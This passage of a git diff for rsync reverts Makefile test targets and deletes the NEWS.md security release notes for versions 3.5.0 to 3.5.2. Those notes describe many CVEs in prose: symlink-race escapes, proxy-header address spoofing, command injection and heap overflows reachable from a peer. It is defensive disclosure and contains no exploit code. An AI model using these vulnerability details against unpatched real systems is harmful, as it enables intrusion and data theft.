rc=$$?; \\\n-\t  done; \\\n-\t  rm -rf coverage-all && mkdir -p coverage-all; \\\n-\t  gcovr --root $(srcdir) $(COVERAGE_EXCLUDE) --decisions --print-summary \\\n-\t      --gcov-ignore-parse-errors=negative_hits.warn_once_per_file \\\n-\t      --html-details -o coverage-all/index.html . || exit $$?; \\\n-\t  echo \"Merged coverage report written to coverage-all/index.html\"; \\\n-\t  if test $$rc != 0; then \\\n-\t    echo \"*** some suite runs FAILED (status $$rc) -- report still written above\"; \\\n-\t  fi; \\\n-\t  exit $$rc\n-\n-# Coverage for the portable (non-openat2) resolver tier. Requires a SEPARATE\n-# build configured with --enable-coverage --disable-openat2: its .gcno differ\n-# from the openat2 build, so this report cannot be merged with the others.\n-.PHONY: coverage-fallback\n-coverage-fallback:\n-\t$(MAKE) coverage COVERAGE_DIR=coverage-fallback\n+check30: all $(CHECK_PROGS) $(CHECK_SYMLINKS)\n+\trsync_bin=`pwd`/rsync$(EXEEXT) $(srcdir)/runtests.sh --protocol=30\n \n wildtest.o: wildtest.c t_stub.o lib/wildmatch.c rsync.h config.h\n wildtest$(EXEEXT): wildtest.o lib/compat.o lib/snprintf.o @BUILD_POPT@\n \t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ wildtest.o lib/compat.o lib/snprintf.o @BUILD_POPT@ $(LIBS)\n \n-simdtest$(EXEEXT): simd-checksum-x86_64.cpp $(HEADERS)\n-\t@if test x\"@ROLL_SIMD@\" != x; then \\\n-\t    $(CXX) -I. $(CXXFLAGS) $(CPPFLAGS) $(LDFLAGS) -DTEST_SIMD_CHECKSUM1 \\\n-\t        -o $@ $(srcdir)/simd-checksum-x86_64.cpp @ROLL_ASM@ $(LIBS); \\\n-\telse \\\n-\t    touch $@; \\\n-\tfi\n-\n-testsuite/chown-fake_test.py:\n-\tln -s chown_test.py $(srcdir)/testsuite/chown-fake_test.py\n-\n-testsuite/devices-fake_test.py:\n-\tln -s devices_test.py $(srcdir)/testsuite/devices-fake_test.py\n+testsuite/chown-fake.test:\n+\tln -s chown.test $(srcdir)/testsuite/chown-fake.test\n \n-testsuite/xattrs-hlink_test.py:\n-\tln -s xattrs_test.py $(srcdir)/testsuite/xattrs-hlink_test.py\n+testsuite/devices-fake.test:\n+\tln -s devices.test $(srcdir)/testsuite/devices-fake.test\n \n-testsuite/exclude-lsh_test.py:\n-\tln -s exclude_test.py $(srcdir)/testsuite/exclude-lsh_test.py\n+testsuite/xattrs-hlink.test:\n+\tln -s xattrs.test $(srcdir)/testsuite/xattrs-hlink.test\n \n # This does *not* depend on building or installing: you can use it to\n # check a version installed from a binary or some other source tree,\n@@ -607,7 +341,7 @@ testsuite/exclude-lsh_test.py:\n \n .PHONY: installcheck\n installcheck: $(CHECK_PROGS) $(CHECK_SYMLINKS)\n-\t\"$(srcdir)/runtests.py\" --rsync-bin=\"$(bindir)/rsync$(EXEEXT)\" --srcdir=\"$(srcdir)\" --tooldir=\"`pwd`\" -j $(CHECK_J)\n+\tPOSIXLY_CORRECT=1 TOOLDIR=`pwd` rsync_bin=\"$(bindir)/rsync$(EXEEXT)\" srcdir=\"$(srcdir)\" $(srcdir)/runtests.sh\n \n # TODO: Add 'dist' target; need to know which files will be included\n \ndiff --git a/NEWS.md b/NEWS.md\nindex 45f9e1b..c36b1f6 100644\n--- a/NEWS.md\n+++ b/NEWS.md\n@@ -1,1001 +1,3 @@\n-# NEWS for rsync 3.5.2 (4 Nov 2026)\n-\n-## Changes in this version:\n-\n-### BUG FIXES:\n-- Fixed interrupted `--append` and `--inplace` transfers writing the final\n-  256 KiB buffer twice. An interrupted destination now remains a clean prefix\n-  which the next transfer can resume or repair.\n-- Fixed uploads through `rrsync` when the destination file already exists.\n-  Existing files are now reached beneath a pinned parent directory instead of\n-  being passed as an unwritable `/proc/self/fd/N` destination.\n-- Fixed poor matching performance on large sparse and repeated-block files\n-  when duplicate checksum chains exhausted the search limit. Valid basis\n-  blocks are no longer hidden behind duplicate entries.\n-- Bounded strong-checksum work when a malicious receiver supplies weak\n-  checksums that collide with consecutive rolling windows\n-  (CVE-2026-119741).\n-- Prevented the `--inplace` matcher from advancing its aligned basis index\n-  beyond the available checksum entries. This avoids signed overflow on large\n-  source files when the peer supplies a small block count.\n-- Recovered from failed hard-link creation without aborting or hanging the\n-  generator. Remaining members fall back to a fresh hard-link group when the\n-  original destination inode cannot accept another link.\n-- Prevented an out-of-bounds write while invalidating a sender checksum after\n-  a file read error when the negotiated checksum length is zero.\n-- Fixed a daemon receiver stack overflow when queued deletion output reached\n-  `--max-alloc`. Quiet daemon transfers no longer queue deletion messages\n-  unless the client requested them.\n-- Fixed a `--files-from` pull from a subdirectory of a daemon module, which\n-  read each listed file from the module root instead.  It could send, and with\n-  `--remove-source-files` delete, a same-named file the module's filter\n-  excludes.\n-- Fixed password files whose first line is empty. The parser no longer skips\n-  the empty line and uses a later password.\n-- Escaped terminal control characters in filenames and diagnostics written to\n-  standard output, standard error and log files while preserving printable\n-  text in the active locale.\n-- Preserved Cygwin and MSYS2 UNC roots during ownership-checked path walks.\n-- Restored daemon startup from accepted named Unix sockets on standard input,\n-  including filesystem and Linux abstract sockets used for socket activation.\n-  Unnamed local socket pairs remain non-daemon channels.\n-- Fixed forward-DNS hostname entries in daemon `hosts allow` and `hosts deny`\n-  lists for IPv6 peers. Address comparison is now binary and family-aware.\n-- Preserved Unix symlink permissions on systems which require `fchmodat()` to\n-  change the mode of a symlink rather than its target.\n-- Restored builds on systems without `O_CLOEXEC` or `O_DIRECTORY`, including\n-  Solaris 10.\n-\n-### ENHANCEMENTS:\n-- Added `--nice` to adjust CPU and I/O scheduling priorities for local and\n-  remote rsync processes. Daemon clients and rrsync cannot raise server-side\n-  priorities.\n-- Human-readable output now uses dynamic precision to show three significant\n-  digits and appends `i` to binary unit suffixes. `--progress` uses the same\n-  formatter for transfer rates and labels byte counts and rates with `B` and\n-  `B/s`. Example output includes `46.7M`, `48.8Mi`, `782,448B` and\n-  `113,295B/s`. File-list, created-directory and skipped-deletion counts also\n-  use thousands separators.\n-- Added `--delay-symlinks` to defer creating new and changed symlinks until\n-  other transferred files are in place. It implies `--no-inc-recursive` and\n-  requires protocol 29 or newer with support on the receiving side. It cannot\n-  be combined with `--remove-source-files`, `--hard-links`, `--compare-dest`,\n-  `--copy-dest` or `--link-dest`.\n-\n-------------------------------------------------------------------------------\n-\n-# NEWS for rsync 3.5.1 (21 Sep 2026)\n-\n-## Changes in this version:\n-\n-### PROTOCOL NUMBER:\n-\n-- The protocol number was changed to 33.\n-\n-### MAINTAINERS AND CONTRIBUTORS:\n-\n-Zen Dodd (@steadytao) now has release authority as an rsync maintainer.\n-\n-Thanks to Omar Elsayed (@seks99x) for the path-handling fixes and new block\n-statistics and to Samuel Henrique (@samueloph) for the `--max-alloc=0` fix and\n-test improvements.\n-\n-### BUG FIXES:\n-- Fixed several path-handling regressions from 3.5.0. Explicit sender paths\n-  can again traverse symlinked ancestors without weakening confinement of\n-  paths found during recursive scans. Local and remote-shell `--files-from`\n-  paths are handled as operator-supplied paths rather than paths beneath the\n-  transfer root.\n-- Fixed access to `/dev/stdin`, `/dev/stdout`, `/dev/stderr` and `/dev/fd/N`\n-  when they refer to pipes or descriptors inside user namespaces. Reading\n-  batch data from a FIFO or process substitution works again.\n-- Restored `--max-alloc=0` as a spelling for the parser's maximum allocation\n-  limit rather than disabling that limit.\n-- Fixed restricted-root paths in `rrsync` and detection of an inetd connection\n-  when a daemon is started with a local socket on standard input, as can\n-  happen under ADB without a PTY.\n-- Allowed `--contimeout` for daemon connections made through `--rsh` without\n-  applying it to ordinary remote-shell transfers.\n-- Tightened validation of partial-directory state and alternate-destination\n-  paths on the receiver. An alternate-destination leaf symlink is no longer\n-  followed as a basis file.\n-- Fixed undefined shifts in the bundled zlib code and a FreeBSD amd64 build\n-  failure involving the assembly and SIMD objects.\n-\n-### ENHANCEMENTS:\n-- Added support for internationalised domain names when the required library\n-  is available at build time.\n-- Added the number of 4 KiB logical blocks touched to `--stats`. This counts\n-  distinct logical file regions written by the receiver, not physical disk\n-  blocks or disk I/O. It is reported when both peers negotiate protocol 33.\n-\n-### BUILD AND TESTS:\n-- `install-strip` now honours `STRIP` including during cross-compilation.\n-- Updated platform tests and fleet-test coverage for the 3.5.0 fixes.\n-\n-------------------------------------------------------------------------------\n-\n-# NEWS for rsync 3.5.0 (13 Aug 2026)\n-\n-## Changes in this version:\n-\n-### Thanks!\n-\n-This has been an extraordinary release developed over several months\n-and I'd like to thank everyone who has helped make it possible. The\n-volume of security issues we had to deal with would have been quite\n-overwhelming without the help that I've received.\n-\n-I'm particularly grateful to Zen Dodd (Tao), Omar Elsayed (seks99x),\n-Will Sargeant, Paul Mackerras, Aleksa Sarai and Leonid Bugaev (buger)\n-who joined the rsync admins group helping to triage all the issues,\n-develop new tests, review PRs and helped develop the guidelines we used\n-for where to draw the line between a security issue and expected\n-behaviour (a surprisingly difficult thing to do in some cases). You've\n-all been a huge help and rsync is much better off for your assistance.\n-\n-A big thank you also to Filipe Casal from Trail of Bits who worked with\n-us on the \"Patch the Planet\" program. Filipe provided a huge trove of\n-valuable tests and security reports.\n-\n-Also a big thank you to Greg Kroah-Hartman for invaluable advice and\n-security reports and to Stuart Inglis for particularly high quality\n-bug reports and testing.\n-\n-Many thanks to everyone who submitted bug reports, credits are listed\n-below against individual items.\n-\n-Finally, thank you to everyone who joined in the discussion and\n-testing on the rsync-security mailing list, and to the rsync user\n-community for your patience in waiting for this release.\n-\n-### SECURITY FIXES:\n-\n-This release fixes 33 security issues found during a focused audit of rsync's\n-path handling and daemon protocol, a companion daemon-protocol fuzzing pass, and\n-reports from external researchers -- plus several robustness hardenings.  CVE\n-IDs were assigned by VulnCheck (CNA); the precise \"introduced in\" version ranges\n-accompany each advisory, and many are much narrower than \"everything before\n-3.5.0\".  Every fix ships with a regression test in the test suite that fails on\n-the unfixed tree.  Many thanks to the external researchers credited below.\n-\n-Link following (CWE-59/61) -- a local user who controls a path component plants\n-a symlink that a privileged rsync then follows:\n-\n-- CVE-2026-53802 (HIGH): Arbitrary file read / transfer-shaping via symlinked\n-  operator-supplied input files.  rsync followed attacker-planted symlinks in\n-  `--filter` merge files (including per-directory merges and `-C` `.cvsignore`),\n-  `--files-from` / `--include-from` / `--exclude-from`, and the client\n-  `--password-file` / daemon secrets file -- reading an arbitrary file as filter\n-  rules, or sending a victim file's contents as the daemon authentication\n-  response.  Operator-supplied paths are now resolved component-by-component with\n-  `openat(O_PATH|O_NOFOLLOW)`, allowing a symlink component only when it is owned\n-  by uid 0 or the effective uid.\n-\n-- CVE-2026-53803 (HIGH): Arbitrary file write / privilege escalation via\n-  symlinked operator-supplied output paths -- `--log-file`,\n-  `--write-batch`/`--read-batch`, and the daemon's motd / lock / early-input /\n-  `--config` opens.  A planted symlink (or parent component) could redirect the\n-  write, e.g. append the log to `authorized_keys`; `--read-batch` could also feed\n-  chosen bytes to the protocol parser.  Same trusted-owner path walk, plus an\n-  `S_ISREG` check on the `--read-batch` file.\n-\n-- CVE-2026-53785 (HIGH): Under `--relative`, the receiver's implied-parent\n-  creation (`make_path()`) built the parent chain with a plain `mkdir()` on the\n-  full path, so a planted parent symlink placed the new directories and file\n-  outside the destination tree.  `make_path()` now creates each component through\n-  the held-directory-fd primitive.  Reported by Omar Elsayed (seks99x).\n-\n-- CVE-2026-53784 (HIGH): Daemon module-root chdir escape under `use chroot =\n-  no`: a plain `chdir()` followed a planted parent-component symlink, serving\n-  files from outside the module.  The module-root chdir now goes through the\n-  secure resolver.\n-\n-- CVE-2026-53793 (HIGH): Chroot `/./` inner-module escape -- a symlinked\n-  parent component inside the inner module reached a sibling outside it (the\n-  generator basis stat, the receiver write/finish path, the module chdir, and the\n-  receiver's delta-basis open).  The secure resolver is now engaged for all of\n-  those paths.\n-\n-- CVE-2026-53795 (HIGH): An absolute `--temp-dir` or `--link-dest` disabled\n-  the receiver's rename/link confinement.  `do_rename_at()`/`do_link_at()` bailed\n-  to the unconfined path-based call whenever *either* path was absolute, so an\n-  absolute source (the temp file, or the link-dest basis) let `finish_transfer()`'s\n-  tmp->final rename -- or a hard-link create -- follow a destination parent\n-  component an attacker flipped to a symlink mid-transfer, writing the file outside\n-  the tree.  Each side is now confined independently.  Reported by Omar Elsayed\n-  (seks99x).\n-\n-- CVE-2026-53796 (MEDIUM): A non-daemon receiver's one-time `chdir()` into the\n-  operator-named destination was not fully confined (a relative destination took a\n-  plain `chdir()`), so an attacker who raced the named destination from a directory\n-  to a symlink moved the receiver's CWD -- and every file it then created --\n-  outside the tree.  The destination chdir now uses the same ownership-checked\n-  `O_NOFOLLOW` walk as the daemon module chdir (see BEHAVIOR CHANGES).  Reported by\n-  Omar Elsayed (seks99x).\n-\n-- CVE-2026-53797 (MEDIUM): A non-daemon sender opened each transferred file's\n-  content by path (leaf `O_NOFOLLOW` only), so a source parent component an\n-  unprivileged user raced to a symlink after the file-list scan was followed --\n-  reading a file from outside the source tree into an attacker-readable\n-  destination.  The content open is now anchored at the transfer root with\n-  `secure_relative_open()`; `-L` / `--copy-unsafe-links` / `-k` still follow, and\n-  `--insecure-links` restores the legacy open.\n-\n-- CVE-2026-53799 (MEDIUM): Receiver ACL/xattr metadata application followed a\n-  symlink race -> arbitrary ACL set (local privilege escalation).  When preserving\n-  metadata (`-A`/`--acls`, `-X`/`--xattrs`, or fake-super ACL-as-xattr), the\n-  receiver applied each entry's ACL/xattrs by path via `acl_set_file()` /\n-  `setxattr()`.  A local user who raced a just-received entry (or a parent) into a\n-  symlink before the apply could redirect an attacker-chosen ACL -- the bytes are\n-  carried in the source entry -- onto a victim inode outside the destination tree,\n-  granting rwx on a root-owned file.  The apply now pins each entry's inode with an\n-  `O_RDONLY|O_NOFOLLOW` fd and sets all metadata on the held inode (Linux 6.13+\n-  `*xattrat` syscalls, or a patched libacl's `*_at` bindings, else the\n-  `/proc/self/fd` compat path).  Where neither primitive exists (the BSDs, Solaris,\n-  macOS, or a `/proc`-less Linux container) it falls back to the path-based apply to\n-  keep `--acls` functional -- a documented residual, refusable via `refuse options =\n-  acls`.\n-\n-- CVE-2026-53800 (MEDIUM): Sender `--remove-source-files` unlink followed a\n-  parent-component symlink race -> arbitrary file deletion outside the source tree.\n-  The post-send unlink and its same-file safety re-stat resolved by path relative to\n-  the process CWD, so an unprivileged user who raced a source parent into a symlink\n-  after the file was sent could make a higher-authority sender (a root\n-  `--remove-source-files` run, or a daemon module not refusing the option) delete a\n-  file outside the served tree.  The removal is now resolved through the secure\n-  held-dirfd walk anchored at the served module root (daemon) or transfer-root CWD\n-  (local sender), the safety re-stat is confined likewise, and the per-file dev/ino\n-  is only computed when `--remove-source-files` is in effect.\n-\n-- CVE-2026-53801 (MEDIUM): Sender/daemon directory-scan enumeration escaped the\n-  transfer root / module -> out-of-tree disclosure.  The sender enumerated each\n-  source directory with a plain `opendir()` on the accumulated path, not through the\n-  secure resolver (the enumeration sibling of the previous item, which confined only\n-  the content open).  A parent component raced to a symlink between the file-list\n-  scan and the recursive `opendir()` -- or, in daemon following mode\n-  (`-L`/`--copy-dirlinks`/`--copy-unsafe-links`), an in-module symlinked directory\n-  pointing outside the module -- let a higher-authority sender enumerate an\n-  out-of-tree directory and copy its entry names, metadata and symlink targets.  The\n-  directory scan is now confined through a held `opendir` fd anchored at the transfer\n-  root / module.\n-\n-`support/rrsync` (the restricted SSH wrapper):\n-\n-- CVE-2026-53783 (HIGH): rrsync restricted-directory escape.  It validated each\n-  argument with `realpath()` and then exec'd rsync against the same name (a\n-  TOCTOU window), and left dangerous options enabled in a restricted subdir.\n-  rrsync now inode-pins the validated path and roots the argument it hands rsync\n-  at that pinned fd, denies `--copy-unsafe-links`, forces `--no-D`, and refuses a\n-  symlinked `--log-file`.  The pin relies on Linux's `/proc/self/fd` magic links\n-  being bound to the open inode, so it is Linux-only; on the BSDs, macOS, Solaris\n-  and Cygwin rrsync passes the `realpath()`-validated name as it always did.\n-  Two limits are worth stating: under `--relative` only the anchor the\n-  transmitted name starts from is pinned, so a component below it can still be\n-  raced, and the final component of an ordinary sender argument is not pinned\n-  either (rsync does not follow a symlink there, and the options that would\n-  change that are refused in a restricted dir).\n-\n-- A filter rule that failed to parse was echoed back verbatim, including when\n-  the rule came from a merge file's contents.  A per-directory merge rule names\n-  a file the peer chooses and travels over the protocol rather than in an\n-  argument, so this let a peer read back any line of any file the server process\n-  could open that is not valid filter syntax -- through an `rrsync` restricted\n-  account as well as a daemon module, since neither confined a merge open that\n-  the wrapper never sees.  A syntax error in a rule read from a file now reports\n-  the file and line rather than the text; a rule given as an argument is still\n-  shown.  The `--debug=FILTER` traces print the same file-derived text, so\n-  `rrsync` now refuses a peer-selected `--debug` (a stock client never sends\n-  one).  An operator who turns debugging on for their own server still sees the\n-  rule text.\n-\n-- Redacting those diagnostics did not close the merge route on its own, because\n-  the worst shape produces no diagnostic at all: an exclude-only merge (the `-`\n-  modifier) makes every line of the file a pattern, so nothing fails to parse\n-  and the peer reads the contents off which of its own names went missing from\n-  the file list.  Through an `rrsync` restricted account that needs no\n-  `--delete` and no verbosity on a pull.  The open is now confined rather than\n-  the disclosure suppressed: rsync gained `--confine-root=DIR`, which refuses an\n-  operator- or peer-supplied path that resolves outside DIR, and `rrsync` passes\n-  its restricted directory.  A merge file inside that directory keeps working.\n-  A daemon already had this through its module root and is unaffected.\n-\n-Daemon protocol / identity:\n-\n-- CVE-2026-53786 (MEDIUM): A client-supplied `--filter` merge file bypassed\n-  the module filter list (it was checked against the module-prefixed path, which\n-  never matched a module rule).  The module-dir prefix is now stripped before the\n-  check.  Reported by Mitchell Benjamin (Revamp Studio).\n-\n-- CVE-2026-53798 (MEDIUM): The daemon name converter mapped an unknown name to\n-  uid/gid 0 (an empty response was read as `atol(\"\") == 0`); with `fake super =\n-  yes` the stored metadata became root-owned.  An empty/non-numeric response is\n-  now treated as a lookup failure.  Reported by Mitchell Benjamin (Revamp\n-  Studio).\n-\n-- CVE-2026-53788 (MEDIUM): A peer-controlled name containing a newline/CR was\n-  written verbatim into the name-converter line protocol, allowing request\n-  injection.  Converter tokens containing control characters are now rejected.\n-  Reported by Mitchell Benjamin (Revamp Studio).\n-\n-- CVE-2026-53789 (MEDIUM): A malicious daemon-sender could widen `--delete`\n-  scope by omitting the \"no content dir\" flag on an implied parent, making the\n-  receiver run `delete_in_dir()` on it.  Implied-parent directories are now\n-  forced non-content on the receiver.  Reported by Mitchell Benjamin (Revamp\n-  Studio).\n-\n-- CVE-2026-53791 (CRITICAL): With `proxy protocol = true`, a client connecting\n-  directly (not via the trusted proxy) could send a PROXY header to spoof its\n-  source address and bypass host-based access control.  A forwarded address is\n-  now honoured only from a configured trusted-proxy peer.\n-\n-Injection and memory safety:\n-\n-- CVE-2026-53790 (HIGH): Command / argument injection via unquoted peer- or\n-  host-controlled values -- the `RSYNC_CONNECT_PROG` `%H` host substitution, the\n-  daemon exec-hook `%RSYNC_*%` expansions, rsync-ssl hostspecs, and a missing\n-  newline/CR in remote-shell argument quoting.  Each sink is now quoted or\n-  validated (the hook escaping is confined to the shell-executed hooks, so\n-  ordinary daemon string parameters such as `path` are unaffected).\n-\n-- CVE-2026-53792 (MEDIUM): A malicious receiver sending a checksum header with a\n-  block count > 0 but block length == 0 drove the sender's rolling-match\n-  arithmetic negative.  A zero block length is now rejected.\n-\n-- CVE-2026-53794 (MEDIUM): `--max-alloc=0` disabled the per-allocation size\n-  cap (the defense behind CVE-2024-12084) and could be forwarded on the wire to\n-  an unpatched daemon.  A zero max-alloc is now rejected at both the client and\n-  the daemon.  Reported by Azizcan Dastan (Milenium Security).\n-\n-Peer-triggerable memory corruption in the daemon protocol, found by a\n-daemon-protocol fuzzing pass and reported by Greg Kroah-Hartman.  Each is a\n-WRITE reachable from the wire, which is why these were split out from the\n-crash-only findings in the same pass:\n-\n-- CVE-2026-70461 (HIGH): a one-byte heap out-of-bounds write in\n-  `add_implied_include()`, driven by a peer-supplied filter rule whose trailing\n-  backslash was not counted when sizing the copy.\n-\n-- CVE-2026-70458 (HIGH): an out-of-bounds write from a file entry marked\n-  `FLAG_HLINKED` that the receiver accepted even though `-H` was not in effect,\n-  so the hard-link extra slots it then wrote were never allocated.\n-\n-- CVE-2026-70456 (HIGH): an out-of-bounds heap write in `read_args()` when the\n-  peer's argument count lands exactly on `maxargs` -- the trailing NULL went one\n-  past the end of the array.\n-\n-- CVE-2026-70457 (MEDIUM): an attacker-chosen-offset write in\n-  `parse_size_arg()`'s error formatting, reachable through an over-large\n-  `--max-size` / `--min-size` / `--max-alloc` forwarded to a daemon.\n-\n-- CVE-2026-70459 (MEDIUM): a wild-pointer read crashing the per-connection\n-  daemon child, from a crafted first incremental file list whose transfer root\n-  is \".\" with a non-directory mode -- `parent_ndx` stayed 0 while `dir_flist`\n-  was still empty, so the generator dereferenced a never-written slot.\n-  Companion to CVE-2026-43620; reproduced on released 3.2.7, 3.4.0 and 3.4.1.\n-\n-Daemon availability and access control:\n-\n-- CVE-2026-70464 (HIGH): an unauthenticated peer could complete the `@RSYNCD`\n-  greeting and then stall forever -- sending a line with no terminator, or\n-  trickling NUL-terminated arguments into `read_args()` one byte at a time --\n-  holding a per-connection child open past the module's `max connections`\n-  limit.  The `timeout` parameter did not cover it, because `set_io_timeout()`\n-  ran after the `read_args()` calls that needed covering.  A separate deadline\n-  now spans both, and the early-protocol argument count is bounded.  Reported\n-  independently by Chamal De Silva and by Michal Ruprich (Red Hat QE).\n-\n-- CVE-2026-70455 (HIGH): a daemon client could request an arbitrary Zstandard\n-  worker count via `--compress-threads`; 256 was measured as 257 threads in a\n-  single connection.  Now capped at 8 on a daemon, while local and\n-  remote-shell invocations keep the operator's value.  Reported, fixed and\n-  tested by Filipe Casal of Trail of Bits, in collaboration with OpenAI.\n-\n-- CVE-2026-70453 (HIGH): quadratic CPU exhaustion in `hash_search()` from a\n-  crafted chain of equal weak checksums.  The chain walk is now bounded.  First\n-  reported as a performance problem in public rsync issue #217 by heyciao\n-  (2021); recognised as a security issue, bounded and regression-tested by\n-  Stuart Inglis.  This one was already public and was not embargoed.\n-\n-- CVE-2026-70452 (HIGH): `hosts deny` failed OPEN when a configured hostname\n-  could not be resolved -- with `forward lookup` enabled, which is the default,\n-  an unresolvable deny token admitted the host it was meant to block.  It now\n-  fails closed.  Sibling of CVE-2026-43617.  Reported by Leonid Bugaev.\n-\n-- CVE-2026-70463 (HIGH): `auth users` ignored its documented comma-only\n-  parsing.  With a leading comma the split should be on commas alone, so that a\n-  group name containing a space can be written; it split on whitespace too, so\n-  a `deny` or `:ro` rule naming such a group was broken into two meaningless\n-  tokens and never fired.  Reported by Andres Berbescu.\n-\n-- CVE-2026-70460 (HIGH): a peer-supplied `--partial-dir` or `--backup-dir` was\n-  resolved by pathname, so an in-module symlink could redirect it and place\n-  files outside the daemon's module root.  Those paths are now confined.\n-  Reported by Omar Elsayed (seks99x).\n-\n-Client-side:\n-\n-- CVE-2026-70462 (MEDIUM): a peer-supplied `MSG_IO_TIMEOUT` defeated the\n-  client's own I/O timeout -- a large value overflowed signed arithmetic, and a\n-  non-positive value disabled the timeout outright.  The value is now capped on\n-  receipt and the arithmetic made overflow-safe.  Reported by Z3R0S! (z3r0s6);\n-  the non-positive case was reported by Leonid Bugaev.\n-\n-- CVE-2026-70454 (MEDIUM): `rsync-ssl` established an unauthenticated TLS\n-  connection.  In stunnel mode it neither required CA verification nor bound\n-  the certificate to the requested hostname, so an active network attacker\n-  could impersonate the server; the openssl backend had a matching hostname\n-  gap in 3.2.0 through 3.2.3 (found and fixed in 2020 by Matt McCutchen).\n-  stunnel mode now requires certificate verification and hostname binding\n-  unless an explicit insecure opt-out is set, and the GnuTLS backend is\n-  refused conservatively rather than used unverified (Greg Kroah-Hartman).\n-\n-Robustness hardening (no CVE assigned): the `RSYNC_PROXY` CONNECT request and\n-proxy response headers are length-bounded, and peer-requested xattr expansion is\n-capped.\n-\n-A second-pass source audit (reported by Leonid Bugaev) hardened several memory-\n-safety and robustness paths: the hashtable and file-list size computations are\n-guarded against a 32-bit integer overflow that a peer's entry count could\n-otherwise wrap into an under-allocation, and the\n-`SIGUSR2` handler is now async-signal-safe (it only sets a flag, deferring the\n-summary/close-out work to safe poll points).  Separately, the xattr/ACL metadata\n-copy now reads the *source* through a held no-follow fd as well as writing the\n-destination through one -- closing a parent-symlink race on the `--copy-dest` and\n-backup source -- and the cross-tree operator-path metadata apply is now fd-pinned\n-under `--fake-super` too (previously it fell back to a path-based set for a\n-`fake super = yes` daemon staging through an absolute `--temp-dir`/`--backup-dir`).\n-\n-### SECURITY RELATED:\n-\n-- Mask a peer-supplied I/O-error value to the defined `IOERR_*` bits, both the\n-  incoming `MSG_IO_ERROR` message (`io.c`) and the file-list trailer (`flist.c`),\n-  so a malicious peer cannot set arbitrary (undefined) error flags that would be\n-  stored in the local `io_error` and re-forwarded upstream.  (Undefined bits\n-  never reached the exit code, which maps only the defined bits.)  Reported by\n-  Leonid Bugaev.\n-\n-- Escape control characters in filenames written to the log file (CWE-117 log\n-  injection): a transferred name containing control bytes -- C0 (tab excepted)\n-  and C1 `0x80`-`0x9f`, including CSI `0x9b` -- could otherwise inject terminal\n-  escape sequences into an administrator's terminal when the log is viewed.\n-  Reported by Leonid Bugaev.\n-\n-- Stop `safe_arg()` leaking an uninitialized byte into a quoted filename.  In\n-  filename mode the writer suppresses the escaping backslash before a wildcard,\n-  but the counter that sized the buffer reserved a slot for every backslash, so\n-  the two disagreed and left an uninitialized heap byte in the returned string\n-  -- which is handed to the remote shell when `--protect-args` is off.  The\n-  counter now mirrors the writer, and guarding the wildcard test with `f[1]`\n-  also fixes a trailing backslash (previously `strchr()` matched the string\n-  terminator, so the backslash was not doubled).  Reported by Leonid Bugaev.\n-\n-- Close a `--safe-links` bypass in `--backup`: when symlinks can be hard-linked,\n-  `make_backup()`'s link/rename fast path hard-linked an unsafe (out-of-tree)\n-  symlink into the backup area and skipped the `safe_symlinks` check the copy\n-  path applies, silently preserving a link `--safe-links` was meant to drop.  The\n-  safe-links check now runs before the fast path, and a symlink whose target is\n-  unreadable is failed closed rather than backed up unchecked.  Reported by\n-  Leonid Bugaev.\n-\n-- Extend the operator-directory ownership walk to the backup leaf sinks:\n-  `do_symlink_at()` (backing a symlink up into an operator `--backup-dir`) and\n-  `do_rmdir_at()` (removing a pre-existing backup directory) now resolve their\n-  parent through the same ownership walk, so a foreign-owned parent symlink no\n-  longer redirects the backup symlink-create or directory-removal outside the\n-  backup tree.  `--insecure-links` (or a module's `insecure links = yes`) restores\n-  the legacy follow.  Reported by Omar Elsayed (seks99x).\n-\n-- Confine an absolute operator source/destination through the ownership walk in\n-  `robust_rename()`'s cross-filesystem (EXDEV) copy fallback, so a raced parent\n-  symlink cannot redirect the fallback copy or its source unlink out of the tree.\n-  Reported by Leonid Bugaev.\n-\n-- Bound the number of equal-weak-checksum blocks examined per offset in\n-  `hash_search()` (issue #217), so a crafted or degenerate checksum set with a\n-  very long equal-checksum chain cannot drive the sender's per-offset\n-  match-verify into a quadratic blow-up (CPU DoS).  Fix by Stuart Inglis.\n-\n-### BUG FIXES:\n-\n-- Fix an off-by-one in `clean_fname()`'s `..`-collapse path normalization.\n-  Reported by Leonid Bugaev.\n-\n-- The AVX2 rolling-checksum assembly (`--enable-roll-asm`) read up to 64 bytes\n-  past the end of the buffer it was given.  The loop is software-pipelined and\n-  preloaded the 64 bytes after the ones it was folding in, so its last iteration\n-  always reached beyond the data -- the remainder is by construction under 64\n-  bytes.  It normally landed in slack inside rsync's map window and went\n-  unnoticed; where the buffer ended at a page boundary it was a SIGSEGV mid\n-  transfer, reported on macOS x86-64 by Roland Kletzing.  Reported checksums are\n-  unchanged.\n-\n-- `--link-dest` no longer fails the transfer when the destination refuses to\n-  hard-link a symlink, device node, FIFO or socket.  Whether rsync hard-links\n-  those at all was decided at build time, on whatever filesystem the source tree\n-  happened to sit on, and one host can hold both answers -- macOS builds on\n-  APFS, which can, and backs up to HFS+, which returns ENOTSUP.  Such an entry\n-  is now copied, exactly as it already is in a build that cannot link them and\n-  as a regular file in the same position already was; the run used to exit 23\n-  even though the entry was then created correctly.  The fallback covers any\n-  refusal, since the error does not identify one on its own: link(2) documents\n-  EPERM both for a filesystem without hard links and for a permission refusal.\n-  Still outstanding: under `-H`, a group of such entries hard-linked to each\n-  other also needs a link within the destination, and where the destination\n-  cannot hard-link the type at all, the members after the first are still lost.\n-\n-- `--out-format` / `--log-file-format` now emit a literal `%` for `%%` instead of\n-  mis-parsing the following character (added by Leonid Bugaev); a follow-up bounds\n-  `log_format_has()`'s width-digit scan to match `log_formatted()`, closing a `%C`\n-  read past the checksum field.\n-\n-- A CVS `.cvsignore` (or `-C`) file containing a `!` clear-list token no longer\n-  aborts with a spurious \"rule has trailing characters\" error.  Reported by\n-  Leonid Bugaev.\n-\n-- `--chmod=a+s` now sets both the setuid and setgid bits, matching `chmod(1)`\n-  (it previously set setuid only).  Reported by Leonid Bugaev.\n-\n-- Case-insensitive wildcard matching (used by daemon `hosts allow`/`hosts deny`\n-  rules) now folds characters inside a `[...]` bracket expression, not just\n-  literal pattern characters.  Reported by Leonid Bugaev.\n-\n-### BEHAVIOR CHANGES:\n-\n-- A non-daemon receiver follows an operator-named symlinked destination directory\n-  only when the symlink is owned by root or the running user (e.g. `rsync -a src/\n-  /backup/` where `/backup -> /mnt/disk`); a destination symlinked by another uid\n-  is now refused, closing a chdir TOCTOU where an attacker raced the named\n-  destination into a symlink.  `--insecure-links` restores the unconditional\n-  follow.\n-\n-- On platforms without a race-safe way to create a unix socket in a subdirectory\n-  (the BSDs, 